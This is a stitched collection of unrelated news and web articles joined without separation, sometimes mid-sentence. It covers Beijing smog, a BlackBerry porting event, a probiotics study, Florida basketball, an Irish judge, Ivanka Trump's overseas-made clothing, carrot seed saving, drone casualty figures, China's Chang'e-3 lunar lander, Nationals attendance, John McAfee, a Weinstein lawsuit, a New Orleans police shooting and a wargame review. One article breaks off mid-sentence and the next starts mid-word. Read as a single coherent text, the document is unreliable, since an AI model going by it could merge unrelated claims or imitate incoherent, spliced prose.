The government had earlier said that municipalities would not be obliged to reveal PM2.5 figures until 2016, but a string of ghastly days over the past few weeks and an online campaign by environmental activists appear to have changed the authorities’ mind.
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Telling people the truth, of course, is only the first step toward more breathable air. Now the government has to do something about the cause of the pollution, but until then it can at least pray for windy weather.
Around noon a breeze began to blow in Beijing. I looked out of my bedroom window again; where I had been able to see less than 50 yards at dawn, now I could see the Fragrant Hills, more than 20 miles away. And the sky was azure blue.All you need to do is register and log in from wherever suits you best and bring your existing or new games to the website where a RIM expert will be on hand to assist you with porting the game over to the new and awesome BlackBerry 10.
In true RIM developer fashion the above title may sound a little bonkers, but RIM is all about helping prepare developers with getting their games ready for BlackBerry 10. But fear not as you won't have to travel to this Port-A-Thon as it is 100% virtual.
And getting your apps in early with also bring you rewards:
You will receive $100 for each gaming app approved (up to a maximum of 20)
Submit more than two games and get a free BlackBerry PlayBook!
Be one of the first 100 qualified participants to submit more than 5 or more (but less than 10) games and receive a free BlackBerry 10 Dev Alpha device.
Submit 10-20 approved games and as well as getting the Dev Alpha device RIM will also take you to the 2013 Game Developers Conference in San Francisco.
Sounds alright to me!
Aaron Ardiri who is one of the BlackBerry Developer Evangelists gave me some info on the event earlier. He and his Crack team will be on hand over the 36 hour session to make the porting as seamless as possible. Can the RIM Dev Team do anything wrong these days?
So in preparation for the event you will need to ensure you have completed a few tasks.
Register for BlackBerry App World if you have not already done so.
Request signature keys - Make sure you select BlackBerry PlayBook and BlackBerry 10 and higher. Downloading in advance will save a bunch of time.
Make sure you have your images and icons ready to go.
Interested in porting to BlackBerry 10? This looks like the easiest way to do so. What are you waiting for? Go register now!A new small study of healthy women who regularly consumed beneficial bacteria known as probiotics has provided the first evidence that changing the bacterial environment, or microbiota, in the gut can affect brain function in humans.
“Many of us have a container of yogurt in our refrigerator that we may eat for enjoyment, for calcium or because we think it might help our health in other ways,” said Dr Kirsten Tillisch from the University of California Los Angeles’ David Geffen School of Medicine, lead author of the study published in the journal Gastroenterology.
“Our findings indicate that some of the contents of yogurt may actually change the way our brain responds to the environment. When we consider the implications of this work, the old sayings ‘you are what you eat’ and ‘gut feelings’ take on new meaning.”
In the study, Dr Tillisch’s team divided 36 women between the ages of 18 and 55 into three groups: one group ate a specific yogurt containing a mix of several probiotics – bacteria thought to have a positive effect on the intestines – twice a day for four weeks; another group consumed a dairy product that looked and tasted like the yogurt but contained no probiotics; and a third group ate no product at all.
Functional magnetic resonance imaging scans conducted both before and after the four-week study period looked at the women’s brains in a state of rest and in response to an emotion-recognition task in which they viewed a series of pictures of people with angry or frightened faces and matched them to other faces showing the same emotions.
The researchers found that, compared with the women who didn’t consume the probiotic yogurt, those who did showed a decrease in activity in both the insula – which processes and integrates internal body sensations, like those form the gut – and the somatosensory cortex during the emotional reactivity task.
Further, in response to the task, these women had a decrease in the engagement of a widespread network in the brain that includes emotion-, cognition- and sensory-related areas. The women in the other two groups showed a stable or increased activity in this network.
During the resting brain scan, the women consuming probiotics showed greater connectivity between a key brainstem region known as the periaqueductal grey and cognition-associated areas of the prefrontal cortex. The women who ate no product at all, on the other hand, showed greater connectivity of the periaqueductal grey to emotion- and sensation-related regions, while the group consuming the non-probiotic dairy product showed results in between.
“The researchers were surprised to find that the brain effects could be seen in many areas, including those involved in sensory processing and not merely those associated with emotion,” Dr Tillisch said.
By demonstrating the brain effects of probiotics, the study also raises the question of whether repeated courses of antibiotics can affect the brain, as some have speculated. Antibiotics are used extensively in neonatal intensive care units and in childhood respiratory tract infections, and such suppression of the normal microbiota may have long-term consequences on brain development.
Finally, as the complexity of the gut flora and its effect on the brain is better understood, researchers may find ways to manipulate the intestinal contents to treat chronic pain conditions or other brain related diseases, including, potentially, Parkinson’s disease, Alzheimer’s disease and autism.
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Bibliographic information: Kirsten Tillisch et al. Consumption of Fermented Milk Product With Probiotic Modulates Brain Activity. Gastroenterology, vol. 144, no. 7, pp. 1394–1401.e4; doi: 10.1053/j.gastro.2013.02.043Florida’s season is desperately spiraling toward irrelevance. Heading into Saturday’s game against Ole Miss, Florida is 10-8, its worst 18-game start under Billy Donovan since going 9-9 to start the 1996-97 season.
During a media availability on Friday, Donovan shouldered the blame on the construction of UF’s team.
“If there’s one thing I take responsibility for, and hindsight is 20-20, our recruiting the last three or four years has been very, very challenging,” Donovan said. “I’m the one responsible for that.”
In 1980s college basketball, 2011 stud signee guard Bradley Beal would be a senior leader at this point. But while Beal stands as the highest-rated recruit Donovan has landed so far this decade, a look back at his four classes since 2011 reveals a mix of top 50-100 prospects and a pair of disappointing McDonald’s All-Americans.
Here’s a look at UF’s last four recruiting classes:
2011 — Bradley Beal, g (one-and-done, starting shooting guard and rising star for Washington Wizards), Walter Pitchford f/c (transferred to Nebraska)
2012 — Michael Frazier g (starting shooting guard), DeVon Walker f (out for year with torn ACL), Dillon Graham, g (transferred to Embry Ribble), Braxton Ogbueze g (transferred to UNC-Charlotte0
2013 — Chris Walker c (starting/reserve center), Kasey Hill g (starting pg)
2014 — Devin Robinson f (starting small forward), Chris Chiozza g (starting/reserve guard), Brandone Francis g (academically ineligible, now practicing with the team).
Of the last four classes, Beal, Walker and Hill are the three McDonald’s All-Americans. But Hill and Walker have yet to perform to the level each one did against high school competition. College has been a bigger adjustment than expected.
Donovan has tried to sprinkle in a myriad of transfers to fill the gaps, including guard Eli Carter from Rutgers, forward Alex Murphy from Duke, forward Dorian Finney-Smith from Virginia Tech and center Jon Horford from Michigan. But those transfers also have taken away scholarship space for four-year players to develop. Donovan’s team has been at its best with homegrown four-year classes like 2004 (Joakim Noah, Al Horford, Taurean Green and Corey Brewer) and 2010 (Patric Young, Will Yeguete, Scottie Wilbekin and Casey Prather) with a few transfers sprinkled in (Mike Rosario, Vernon Macklin).
It will be interesting to see, following this season, if Donovan returns more of a home grown approach or will continue to scour the transfer market.IRELAND’S first openly-gay High Court judge was appointed last July, Independent.ie has learned.
IRELAND’S first openly-gay High Court judge was appointed last July, Independent.ie has learned.
Ireland’s first openly-gay High Court judge 'in very happy relationship'
Justice Aileen Donnelly became Ireland’s first openly gay serving member of the High Court on her appointment.
A Courts Service spokesperson confirmed to Independent.ie this morning that Justice Donnelly is gay.
“Justice Donnelly is in a very happy relationship with her partner Susan”, they said.
Susan attended Justice Donnolly’s appointment with her last summer.
It is understood that Justice Donnelly has been openly gay for many years.
She was educated at UCD and the King's Inn before being called to the Bar in 1988.
She was then called to the Inner Bar in 2004.
Justice Donnelly was also a board member and Co-Chair of the Irish Council for Civil Liberties between 1996 and 2002.
Last night Justice Donnelly was named on website theoutmost.com as openly gay.
Online EditorsScreenshot via CNN
Despite her father's promise to bring jobs back from overseas, a vast majority of Ivanka Trump's own clothing line, including a much-lauded dress she wore at the Republican National Convention last week, is manufactured in China and Vietnam.
According to the Independent, none of the recently featured items in the Ivanka Trump Collection at Macy's flagship store in New York City were produced in the US. A sales assistant confirmed these findings.
Read more: 'Everywhere I Look, People Are Eating Hot Dogs': RNC with My Trump Delegate Dad
Last week, Trump took the convention stage to introduce her father Donald Trump, the Republican presidential nominee, in a smart, sleeveless, blush-colored dress. The wardrobe choice caught the attention of Vanity Fair, Hollywood Life, and others, and the next day, the 34-year-old tweeted where the dress could be purchased, for what many would call a reasonable $138.
Just two days earlier, though, the theme for convention speakers was "Make America Work Again"—an extension of Donald Trump's promise to bring back many manufacturing jobs that have been lost to markets overseas. In March, during a debate, he boasted, "I am going to bring jobs back to the United States like nobody else can."
According to the candidate's website, he intends to "[r]eclaim millions of American jobs and [sic] reviving American manufacturing by putting an end to China's illegal export subsidies and lax labor and environmental standards. No more sweatshops or pollution havens stealing jobs from American workers."
The rhetoric appears at odds with the Trump family's own practices. Robert Lawrence, a trade and investment professor at Harvard University, analyzed the origins of items found on Trump.com. Most items under the Donald J. Trump name, Lawrence found, were made in China, Bangladesh, or simply noted as "imported."
"Of the 838 Ivanka products advertised through the site," he reported, "none appear to be made exclusively in the US; 628 are said to be imported and 354 made specifically in China."
Moreover, China and Vietnam are both countries known for low wages and harsh labor conditions. According to a white paper by Verité, a non-profit organization working to ensure fair and safe labor for people all over the world, excessive overtime in China is a big problem. "A worker at a garment factory in China told the Verité team that he did not have a day off for the whole month because the line was extremely busy, and the section even worked overtime until 3:00 or 4:00 AM," the report stated.
Quinn Kepes, a research program director with Verité, tells Broadly there are two big concerns for workers in China that the country's legal system creates. One is the lack of a legitimate avenue for freedom of association, or the right to organize and collectively bargain. The other issue is forced labor. "China also has systems that perpetuate forced labor among prisoners, some of whom are held for political or religious beliefs," Kepes says. In some cases, those prisoners are forced to work for private enterprises, including garment companies.
According to the International Labor Rights Forum, workers in Vietnam face similar conditions: "Some 30,000 men, women, and children are being held against their will in state-run detention centers, forced to work, and beaten all in the name of 'drug treatment.'"
As of press time, the "imported" dress Ivanka Trump wore at the RNC is sold out on Macys.com. Two shoppers have given it a one-star rating. One wrote, "While it looks pretty and convincing in photos, the dress has no substance and is of low quality (manufacturer issues maybe?)."Harvesting seeds from your vegetable garden is a rewarding process that adds a new dimension to your gardening experience. Saving carrot seeds is a two-year project because carrots are biennial plants. During the first year, focus on growing the best possible crop of carrots. They will flower and produce seeds the second year. Growers in mild, Mediterranean climates can leave the carrots in the ground during the winter without fear that winter weather will kill the plants. Harvest carrot seeds only from heirloom or open pollinating varieties. Hybrids don't breed true. The seeds mature in late June or July of the second year.
1 Leave the largest and most vigorous carrots in the ground over the winter at the end of their first season. Thin them to 3 inches apart.
2 Prune the carrot tops in the spring of their second year to remove dead and damaged leaves.
3 Avoid using insecticides or use those labeled as safe for bees once the flowers appear. Carrots are pollinated by bees and flies.
4 Observe the plants carefully a month to six weeks after they are pollinated. The seeds are mature when they turn brown and detach from the umbels. The seeds don't fall to the ground when they detach because they are covered with little hooks that adhere to the plant.
5 Cut the seed stalks when about 80 percent of the seeds are mature. The seeds near the top mature first and they are the highest quality. Place the stems top down in paper bags to dry for two to three days.
6 Shake the dried stems inside the bag to detach the seeds.
7 Store the seeds in a container with a tight-fitting lid in the refrigerator.
Things You Will Need Scissors
Paper bags
Tips Make sure there is no Queen Anne's lace growing near your carrot seed crop. Queen Anne's lace is a wild carrot that can pollinate your seeds.
You can perform a quick seed quality check by crushing some seeds in your hand using firm pressure. Good quality seeds remain intact while poor seeds break apart.
Separating carrot seeds from chaff is a challenge for the home gardener. You can experiment with sifting the plant material through various size screens. Much of the chaff is lighter than the seeds, and you may be able to get rid of it by blowing gently. It does no harm to leave the chaff with the seeds.
About the Author Jackie Carroll has been a freelance writer since 1995. Her home-and-garden and nature articles have appeared in "Birds & Blooms" and "Alamance Today." She holds a Bachelor of Science in medical technology from the University of North Carolina.
Photo Credits Martin Poole/Digital Vision/Getty ImagesFact-checking Feinstein on civilian drone deaths At John Brennan's confirmation hearing, the senator understated civilian casualties from drones
Opening the Senate confirmation hearing for CIA director nominee John Brennan, Sen. Dianne Feinstein (D-Calif.) offered a mini panegyric to drone strikes. She lamented the secrecy surrounding the CIA's drone program as she wanted to be able to speak more openly about its successes and the minimal collateral damage of drone wars. She stated that civilian casualties caused by U.S. drone strikes each year has "typically been in the single digits."
Later in the hearing, Brennan rejected claims that drone strikes were provoking a backlash of anti-American sentiment. He said citizens are instead grateful to be rescued from the grip of al-Qaida. But commentators have been swift to challenge Feinstein's claims based on contradicting open-source reports and studies. As both the Washington Post and the Guardian note, civilian death numbers are difficult to tabulate with certainty (indeed, the very question of how the administration categorizes "civilian" or "enemy combatant" is in itself contentious). Suffice to say that Feinstein's "single digits" comments stands at odds with others' findings.
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According to an extensive report by researchers at NYU School of Law and Stanford University Law School, disputed the line coming from the White House and from Feinstein on Thursday. The report cites statistics from the U.K. based Bureau of Investigative Journalism (BIJ), which found that from June 2004 to September 2012 U.S. drone strikes in Pakistan killed between 474 to 881 civilians, including 176 children. The BIJ relies on newspaper accounts and its own independent researchers in Waziristan.
The Stanford/NYU study backs up such figures with evidence of the trauma of living under drones strikes, based on "interviews with victims and witnesses of drone activity, their family members, current and former Pakistani government officials, representatives from five major Pakistani political parties, subject matter experts, lawyers, medical professionals, development and humanitarian workers, members of civil society, academics, and journalists." Even if the BIJ's lowest estimation of 474 civilians in Pakistan alone were accurate, Feinstein's figures would still be far off the mark.
The Washington Post offers two other sources, which also contradict the intelligence committee chairwoman:
According to data from the Web site Long War Journal, U.S. drone strikes in Pakistan and Yemen killed a combined 31 civilians in 2008, 84 in 2009, 20 in 2010, 30 in 2011 and 39 in 2012. The New America Foundation, a Washington think tank, says that U.S. drone strikes in Pakistan alone killed at least 25 civilians in 2008, 25 again in 2009, 14 in 2010, six in 2011 and five in 2012.
And as WaPo points out, with U.S. drone bases maintained in West And East Africa (not to mention the recently revealed base in Saudi) as well as strikes in Afghanistan and Somalia, "it’s plausible that the civilian casualties would be even higher than the Long War Journal and New America Foundation stats reflect." The BIJ's most up to date statistics, looking at strikes in Pakistan, Yemen and Somalia, suggest that up to 1,128 civilians have been killed in drone strikes. But as Brennan's hearing made clear yesterday, evidence of trauma and civilian casualties caused by U.S. drones will continue to be a counter-narrative to the prevailing, drone-loving sentiment in Washington.Imaginechina/Corbis
Next month, a Chinese spacecraft called Chang’e-3 is scheduled to use braking rockets to lower itself gently onto the plains of Sinus Iridum, a broad swathe of lava flows on the near side of the Moon. The probe will then roll out a six-wheeled rover — the first machinery to explore the Moon’s surface since 1976, when the Soviet Luna 24 mission scooped up a handful of soil and flew it back to Earth.
The landing would be the latest step in China’s methodical and almost flawless space programme. The country has achieved a string of triumphs in crewed space flight over the past decade, including putting humans into orbit and docking two craft in space. China lost its first and only Mars probe soon after launch in 2011, but both of its lunar orbiters flew successfully.
If Chang’e-3 lands safely on the Moon, China will join the Soviet Union and the United States as the only nations to have successfully landed exploratory spacecraft there. “You cannot call the Chinese a rising or emerging space power any more,” says Bernard Foing, a lunar scientist at the European Space Agency in Noordwijk, the Netherlands. “They have shown they are very advanced.”
The roots of China’s lunar programme trace back to the early 1990s, when money began to flow into work on crewed space flights and space scientists pushed for a parallel programme in lunar exploration. The result was a schedule of missions named after Chang’e, a luminescent Moon goddess.
Chang’e-1, an orbiter launched in 2007 by the Beijing-based China National Space Administration, mapped the entire Moon before it was deliberately crashed into the lunar surface in 2009. Chang’e-2, launched in 2010, made higher-resolution maps before moving on to fly past the asteroid Toutatis, which it did last December.
Chang’e-3 is slated as the first step of China’s second phase of exploration. The probe is expected to launch from the Xichang launch centre in Sichuan province in December.
If the mission launches on 1 December, Chang’e-3 could enter into lunar orbit on 6 December, says Foing. The probe could then land in Sinus Iridum in the Moon’s mid-latitudes on 16 December. Also known as the Bay of Rainbows, this location is close to where the Soviet Lunokhod-1 mission trundled in 1970–71, and on the opposite side of the great Mare Imbrium basin from where the US Apollo 15 mission landed (see ‘Lunar leap’).
source: Nasa; moon image: Library of Congress, Geography and Map Division
“There’s nothing particularly interesting about the spot, but it is a place we haven’t been to before,” says Paul Spudis, a Moon researcher at the Lunar and Planetary Institute in Houston, Texas. Sinus Iridum is also a fairly safe place to land, with flat plains and relatively few boulders.
If Chang’e-3 makes it to the surface, the lander portion will remain in one spot, kept warm during the frigid lunar nights by a radioactive heat source. It will survey Earth, the Milky Way and the rest of the sky with the first near-ultraviolet telescope ever deployed on the Moon, which will help astronomers to observe the birth and death of stars.
The solar-powered, 100-kilogram rover — named Yutu, or ‘jade rabbit’ — is expected to explore the vicinity. Panoramic and other cameras will photograph the surroundings, and an α-particle X-ray spectrometer on a robotic arm will probe the soil’s chemical composition. Ground-penetrating radar will also scan the Moon’s subsurface to depths of 100 metres or more to study soil and rock structures, says Wenzhe Fa, a remote-sensing specialist at Peking University in Beijing.
Depending on what happens with Chang’e-3, the National Space Administration may launch an almost identical rover and lander pair — Chang’e-4 — to another spot on the lunar surface. Beyond that, the third and final phase of China’s lunar-exploration programme calls for a robotic mission to bring back samples of lunar material, probably in 2017–18.
Space analysts expect that the lunar and crewed objectives of China’s space-flight programme will merge, with Chinese astronauts (known as taikonauts) aiming to walk on the Moon some time in the 2020s. China’s plans are notable for their long-term outlook — not so easy to implement in a democracy — and for proceeding incrementally, says Joan Johnson-Freese, an analyst at the US Naval War College in Newport, Rhode Island. “They have a long laid-out programme of very careful steps, but they are taking bigger steps with each flight,” she says.
For the moment, those steps surpass what any other country is doing. South Korea recently announced that it would send an uncrewed lander to the Moon in 2020 (see Nature http://doi.org/p6h; 2013), but those plans — like others — remain just that, plans. Russia is considering the development of a series of orbiters and landers, and Japan has discussed a lander and rover, but schedules and budgets remain unclear. The United States has nothing lined up to follow its two current Moon orbiters, the Lunar Reconnaissance Orbiter and the Lunar Atmosphere and Dust Environment Explorer (LADEE) that is studying dust in the atmosphere.
In fact, LADEE faces a challenge when Chang’e-3 arrives at the Moon. The Chinese orbiter is expected to release large amounts of exhaust gases when it enters lunar orbit, which LADEE will have to sort through to separate from naturally occurring dust. But NASA scientists cannot work on this task directly with those overseeing Chang’e-3 in Beijing because legislation pushed through by US Representative Frank Wolf (Republican, Virginia) forbids bilateral collaboration between the US agency and Chinese scientists.
However, others are moving forward with international agreements. The Paris-based European Space Agency will hold a meeting in February in Chengdu, China, to explore possible future joint missions involving the Chinese National Space Science Center in Beijing, which oversees the country’s space-science research. The two have already collaborated on one satellite project: the Cluster/Double Star mission in 2003–07 to study Earth’s magnetosphere. The National Space Science Center is also gearing up to launch China’s first X-ray satellite in 2015, says its director, Wu Ji.
“They’re running their own race,” says Johnson-Freese. “They’re not looking behind them.”Dusty Baker on Sunday, after the Nats clinched another division title. (Photo by Katherine Frey/The Washington Post)
Until we get a Washington Post Sports Podcast, we will have to debate the thorny questions the old-fashioned way: in way-too-long blog posts.
Barry Svrluga: So I was standing on the field Sunday at Nationals Park on what appeared to be a perfect day for baseball — or for any kind of ball, for that matter. The Nationals had a chance to clinch the NL East that day, and I was excited about the chance to record history, because why else would you do this job if you didn't get excited to record history? We don't root for the teams, but we do root for ourselves, and wrapping up a fourth division title in six years Sunday fit better than waiting till Tuesday or dragging it out.
Anyway, in chatting with Chelsea Janes and Jorge Castillo, the subject of what the crowd might be like came up. Players ask writers about crowd size and fans more than you might guess, and Sunday — which was full of possibility — was no different. I looked at the blue sky, felt the crisp September air, and thought, "Probably 38,000 or so?"
The actual crowd: 32,627.
Now, what does this mean? (Dan, I'll beat you to it: What does anything mean?)
I wrote about attendance and the Nats fan base Monday. And what I've been reminded since is that attending games is not only a financial decision, it's a personal decision. Some people are put off by Metro delays. Others don't like parking prices. Many will come at all costs in all conditions. Some surely are affected by the start of the NFL season, even the start of the Redskins' season.
There just is no consensus, but it seems like a worthy topic, where there's more to mine, so Steinberg and I thought we'd have a conversation about it. Dan, you were at the Redskins-Eagles game Sunday. Did you think that was the right place to be, and do you think any fans there were distracted by what was going on at Nats Park?
Steinberg: What does anything mean???? Love it. Let's scrap this and talk about the meaning of life.
But anyhow: I dunno. I mean, I kind of think it would have been weird going to the Nats game Sunday only because of the possible chance to see a clinch. If you assume both the Nats and Braves had like a 70 percent chance of winning — and that's probably high — there was still a less than 50 percent chance the clinch would actually happen Sunday. Plus, there was a very good chance the Nats would finish their game first — as they did — which would mean you'd be hanging around an emptying baseball stadium, doing nothing, on the first day of the NFL season, and that you'd only get to celebrate after following an out-of-town game on your phone. (We didn't know the Braves and Marlins would go super long, and that that game would wind up on the big screen.)
But the bigger issue is the Nats essentially clinched the division title in June. Doesn't mean this hasn't been an incredible season, or that it wasn't an incredible accomplishment. But when you combine that utter inevitability and lack of drama with the uncertainty of whether it would really happen Sunday with the lure of enjoying the first Sunday of football — even if you hate the Redskins — I mean, I was not at all surprised that the crowd was average-ish. That seems right to me.
As for sensing any distraction at FedEx Field? Nah. I mean, Boz and I were a tiny bit distracted. But there was a 0 percent chance the Nats were not going to win the NL East. That doesn't make you stare at your phone in a fit of distraction during an NFL game on Sept. 10.
Svrluga: Okay, that's all fine, and it explains a lot about these specific circumstances on this specific Sunday. I would argue that the inevitability of the clinch should be overtaken by the enormity of the accomplishment: Baseball division titles mean more than basketball or football or hockey division titles, for whatever reason, and four in six years is a thing, and seven weeks of spring training plus 162 games don't invite celebration, so when celebration is allowed through the door, well, then, heck yeah, take advantage of it.
But let's get away from Sunday and think about the Nats fan base in general. What is it now, and what can it be?
I think what I'm deciding is: What it is now is what it will be. And that's fine. As I wrote this morning, in the past six seasons, the Nats have ranked first in win total once, second twice and could finish first or second again this season. The highest they have ever ranked in attendance is 11th. Given the sizes of the stadiums and the markets in, say, Los Angeles and New York, it's unreasonable to think the Nats are going to draw more than the Dodgers or the Yankees. They're not. Again, that's fine.
But the more I think about it, the more I believe it's more than just the size of the crowds. It's the energy, too. Dan, you have written more than once about Dusty Baker saying he would love for the crowds to have more spunk. I have, for sure, spoken to players who wish the same thing. They know what it feels like to play in San Francisco and St. Louis. They just want the same for their home park.
Could the standings, again, play into that? Sure. Even with all the division titles, the Nationals have never really been in a bite-your-fingernails pennant race. Their leads on Sept. 1, in the years they won the NL East, were 6 1/2 games, seven games, nine games and, this year, 15 games. Would more people show up on the weekend after Labor Day for a series with the Phillies if the Phillies were a half-game back? Probably?
Steinberg: Well, but four out of six titles also helps explain why this one wasn't as big a deal. It's old news. You almost expect a division title at this point.
But there is definitely a different question here, the one about noise and energy and enthusiasm. I dunno. Any answer I come up with would be completely speculative. I've seen one of our mutual friends argue, repeatedly, that the architecture of Nats Park — where so many sections are physically distinct from each other, rather than being one contiguous whole — keeps down excitement.
Anecdotally, the Nats Park crowd seems to include more older folks, and more parents with young kids, and less emotionally charged (and alcohol-fueled) maniacs than those at other D.C. venues. The park welcomes and almost encourages casual wandering — from the nifty concourse views to the interesting concessions to the frickin' playground in center field. And that's great for families, but maybe less great for frenetic noise. Just about every time I go with my family, we leave by the sixth inning at the latest. Sorry/not sorry. It's my dang money. I can do what I want to do.
The atmosphere will be great for the playoffs. I don't have any doubt about that. And maybe it'll never be like Boston or St. Louis, because D.C. isn't like Boston or St. Louis. Between us — and everyone reading this — even if I thought there was a problem with Washington sports fans (and I don't), I wouldn't make a big deal over it, because Washington sports fans are my customers, and I just am uncomfortable criticizing them. The customer is always right. Have it your way. You deserve a break today. Etc.
Svrluga: I am a big believer in one truism: Baseball is different. It's not supposed to have the rabid energy of the NFL or the NHL, because it happens just about every dang day. You can go to an NFL game eight times a year and have, say, four beers. You can't go to 20 or 30 or 40 or -– gulp -– 81 MLB games and get all fueled up like that. Not without ending up with a very light wallet and a very wrecked liver.
And I'm also not asking D.C. to be St. Louis or Boston.
One of the many readers who emailed me about this topic this morning brought up something you would probably agree with, Dan. There is trepidation for this fan base given what we know about what has happened in the past. It's not just that the three previous Nats' division titles were followed by gut-wrenching playoff losses (Pete Kozma! Buster Posey! Clayton Kershaw!). It's that the Caps have frittered away similar opportunities, and the Wizards are only now regaining relevance, and the Redskins, I mean, where to start with them?
Maybe the fans in this town, subconsciously but collectively, hold back?
Steinberg: Re: that last point, please don't give away my next column topic! (Really.)
I don't know. This is what it comes down to for me: I'm not a Nats fan, but I often go to games as a ticket-holder, and I feel comfortable there. Like, I feel I'm around people who generally have the same attitude toward sports that I do: Sports are fun, and it's way more fun when your team wins, but also you don't need to burn anything or curse at anyone or rend your garments either way.
I've said this before, but I think Nats fans are very reasonable, |
-suppression police – trained and armed by the U.S., McAfee says -- raided his home and antibiotic factory and shot his dog when he refused a $2 million extortion attempt from a local politician, he says.
“You tell me I don’t know something about foreign affairs and what happens when we interfere with the internal affairs of corrupt nations,” he says. “The government murdered my neighbor and came to question me, but I was not about to be questioned where they string you up by your heels, put a football helmet on your head and beat the helmet until your brains turn to mush.”
He says he would like to ask Clinton, who was secretary of state at the time, “'for what purpose did you train these brutal, criminal people?' Because I want to know what sick, twisted webs you people have woven to allow this to happen.”
As with any candidate looking for an electoral footing, McAfee has some positions that set him apart. Whistleblower Edward Snowden, he says, is a hero and would get his pardon. And he believes the government should not try to regulate what people do with their own bodies, such as take drugs, though he says he hasn’t personally used an illegal substance in 30 years.
McAfee says he already is thinking about his running mate and promises to keep things interesting.
“You might expect someone unexpected,” he says. “My wife is black, my life is checkered and I am outside the box.”Click to email this to a friend (Opens in new window)
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Harvey Weinstein was slapped with a civil lawsuit Monday charging him with sex trafficking tied to an alleged assault in Cannes, France.
Aspiring actress Kadian Noble’s lawsuit claims Weinstein first “groomed” her for the alleged assault in London, when he told her that “he had a role in mind for her and that ‘it will be good for you.'”
They met again in February 2014 in Cannes, where the troubled movie producer asked her to come to the Le Majestic Hotel “where he would review her reel and discuss her future.”
Once she was inside his hotel room, Weinstein “began massaging Kadian and then gripped her shoulders,” the Manhattan federal lawsuit claimed. “He informed her that she needed to relax, and if she did, his people would have all of her details and would ‘take care of everything’ for her.”
Weinstein also asked Kadian to “walk up and down the room for him” as part of an “audition,” the lawsuit said.
Kadian claims that Weinstein then called an unnamed Weinstein Company producer in the US, who told Kadian “that she needed to be ‘a good girl and do whatever he wished,’ and if she did, then ‘they would work’ with her further.”
That’s when Weinstein pulled Kadian closer and “groped her breasts,” the lawsuit said.
She resisted but also “felt compelled to comply because of the tangible and intangible benefits” the producer could offer, the lawsuit said.
Weinstein pulled Kadian into the bathroom, where he forced himself on her, the lawsuit alleges.
She “told him to stop and attempted to leave the bathroom, but (he) blocked her exit,” the filing reads.
The lawsuit then describes the alleged assault, including Weinstein pulling down the actress’ shirt, “revealing her breasts,” while unbuckling his pants and belt.
Kadian also is suing Weinstein’s brother, Bob, and their company The Weinstein Company, claiming that they were aware that Harvey had a reputation for forcing or coercing “aspiring young actresses” to engage in sexual activity.New Orleans Police Superintendent Warren Riley said Wednesday that he cleared the nine officers involved in the New Year's Day shooting of Adolph Grimes III after determining through conversations with a pathologist that Grimes could have been in the act of shooting when police killed him.But Riley also expressed sorrow about the shooting, noting that Grimes appeared to be "a young man of good standing." At a news conference the day after the Police Department confirmed its inquiry into the shooting had been closed, the chief said the determination that officers acted properly was made after an investigation by the homicide unit. A report written by a homicide detective was submitted to the Orleans Parish district attorney's office more than a month ago, but prosecutors have decided not to evaluate the case because of a pending investigation by the FBI, said Riley. That FBI probe began shortly after the incident. While the nine officers involved have been moved off administrative duty in light of the clearance, they will not resume active patrols or work involving contact with the public until the FBI investigation is completed, Riley said. The officers are Lt. Joseph Meisch, Sgt. Daniel Scanlan and officers Julio Alonzo, Larissa Austin, Regina Barr, Collette Booth, Steven Keller, Marcellus White and Gregory Lapin. Grimes' father said he doesn't "put any faith" in Riley's explanation about the NOPD investigation, saying the superintendent has not contacted him. The senior Grimes has questioned the claim in the police report that officers, who were not in uniform, identified themselves as they approached his son. "The police have to take a lie detector test to get the job. Why don't they do so here? Then we can move on, " Adolph Grimes Jr. said. On Wednesday, Riley emphasized what he believed to be two key facts that justified the shooting: gunpowder residue found on Grimes and in his car, as well as a determination by the pathologist who performed the autopsy that the 22-year-old's wounds could be consistent with somebody running while firing a weapon. But Riley declined to comment on the family's contention that plainclothes officers must not have identified themselves as police when they drove up in two unmarked vehicles beside the car where the young man was sitting outside his grandmother's house in the 6th Ward. The officers who approached Grimes' rental car in those early morning hours had been doing undercover work. They were searching for a suspect who fired a gun outside a nearby nightclub, and an initial police report about the incident stated they turned on a blue emergency light just before approaching Grimes in his car. Riley declined to answer questions specifically about how police approached Grimes. At the news conference, he asked Assistant Superintendent Marlon Defillo, who supervises the homicide unit, if he could talk about that topic. Defillo shook his head. "I probably already said too much, " Riley said. Family members have noted that Grimes, a Brother Martin High School graduate who worked as a cable installer in Houston and was the father of a toddler, did not have a criminal record and had legally registered his handgun. Grimes had arrived in New Orleans only hours before he was killed, planning to spend the New Year's holiday with his family. He had no reason to shoot at police officers, family members said. Grimes' father and other relatives have repeatedly said that if he fired at officers, it was because he did not know they were police and feared for his safety. Riley spoke more freely about the autopsy findings and evidence that showed Grimes fired his gun. The pathologist's evaluation of Grimes' actions as described by Riley is not contained in the 15-page autopsy provided to the family. Grimes is described as suffering 14 gunshot wounds, including three graze wounds and a tangential wound to his upper left forehead. Grimes also was hit once in the front torso and nine times in the back of his body, with some bullets also exiting, according to the autopsy. Riley characterized two of the bullets as hitting Grimes' side, although acknowledging the seven other wounds in his back. After talking with pathologist Samantha Huber, Riley said he concluded that "some of the projectiles that entered were consistent with someone who is running and either raising their arm as if firing or attempting to fire a weapon." The Orleans Parish coroner's office did not respond to an interview request about Huber's findings. The gunpowder residue tests, performed by an out-of-state laboratory, showed Grimes fired his weapon in his car while resting it on the back of a headrest, as police originally asserted, Riley said. Those results essentially corroborated officers' accounts. "Based on the evidence, these officers did believe their lives were in danger, " Riley said. But Riley also characterized the shooting as a "horrific situation, " noting that Grimes did not appear to have a criminal history. Those remarks stood in contrast to previous statements from police officials and attorneys for the officers that focused more on the handgun Grimes had inside the car and the shotgun and bullets found in the trunk. Grimes "seemed to be a young man of good standing, " Riley said. "I am certainly not trying to vilify Adolph Grimes."....... Staff writer Brendan McCarthy contributed to this report. Laura Maggi can be reached at lmaggi@timespicayune.com or 504.826.3316.The only way to carry your dice.
Today I’m going to talk about Aggressor:Recon, a new game from Critical Snail Studios. Aggressor is a 28mm sci-fi miniature wargame set in the 23rd century. The game details the struggles of humans from various factions such as mega corporations and colonists, and the variety of alien species that inhabit the galaxy. This game is from a small independent studio, so a little roughness around the edges is expected, but I think the game has enough bright spots to make it worth checking out.
$40 gets you the core book, available on Amazon or Critical Snail’s website. The book itself is softcover, printed in black and white, weighing in at 158 pages. Overall the book is high quality, the print is very clear, and the binding feels solid.
You may be asking yourself, what about the miniatures? Here is one of the more unique things about this game, there is no official miniature range. Borrowing the idea from historical wargames, you can use any minis that are appropriate for the setting and faction. This means you could play the game with little green army men if you wanted. This makes the game easy to get into for people on a budget, the cost of your army is basically what you’re willing to spend.
